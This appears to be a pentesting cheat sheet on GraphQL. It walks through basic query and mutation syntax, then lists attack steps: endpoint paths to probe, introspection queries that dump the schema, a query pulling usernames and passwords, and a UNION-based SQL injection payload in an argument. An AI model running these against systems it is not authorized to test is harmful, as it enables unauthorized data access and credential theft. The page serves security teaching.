Skip to content

Pentesting GraphQL

Common Directories

/graphql
/graphiql
/graphql.php
/graphql/console

Basic Operations - Queries

We can fetch field information by sending queries.

query {
    __typename
}

Fields

To fetch a field object, send a query like the following.

query {
    user {
        name
        friends {
            name
        }
    }
}

Arguments

We can get the specific information by padding arguments (e.g. id) to fields.

query {
    user (id: "1") {
        name
    }
}

Aliases

We can set aliases each field to get multiple results in one request.

query {
    John: user (id: "1") {
        name
        age
    }
    Emma: user (id: "2") {
        name
        age
    }
}

Fragments

We can define arbitrary fragment that is be reusable when fetching each field.

query {
    firstUser: user (id: "1") {
        ...userFields
    }
    secondUser: user (id: "2") {
        ...userFields
    }

    fragment userFields on User {
        name
        age
        friends {
            name
        }
    }
}

Operation Names

We can define an operation name to make an operation less ambiguous. By setting a name, it makes it easier to understand at a glance what kind of operation.

query UserNameAndFriends {
    user {
        name
        friends {
            name
        }
    }
}

Variables

query UsrNameAndFriends($userId: ID) {
    user (id: $userId) {
        name
        friends {
            name
        }
    }
}

Directives

We can filter by passing a directive in fields.

  • include

Only include this field if the argument is true.

query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
    user(id: $userId) {
        name
        friends @include(if: $withFriends) {
            name
        }
    }
}
  • skip

Skip this field if the argument is true.

query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
    user(id: $userId) {
        name
        friends @skip(if: $withFriends) {
            name
        }
    }
}

Basic Operations - Mutations

We can modify fields with the mutation field.

mutation {
    __typename
}

To modify a field, execute like the following.

mutation CreateCommentForPost($postId: ID!, $comment: Comment!) {
    createComment(id: $postId, comment: $comment) {
        comment
    }
}

Enumeration

# List fields
query { __schema { types { name } } }
query { __schema { types { fields { name } } } }
query { __schema { types { fields { name description } } } }
query { __schema { types { name fields { name } } } }
query { __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }

# Dump database schema
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }  possibleTypes { ...TypeRef }} fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }} query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

# Dump specific field
query { getUsers { username, password } }

SQL Injection

We might be able to inject SQL somewhere e.g. arguments. Please refer to SQL Injection Cheat Sheet for more payloads.

{
    user (id: "1' UNION SELECT null,null-- -") {
        name
        password
    }
}

NoSQL Injection

We might be able to inject NoSQL somewhere e.g. arguments. Please refer to NoSQL Injection for more payloads.

References

Last update: 2024-09-10
Created: September 10, 2024 18:17:05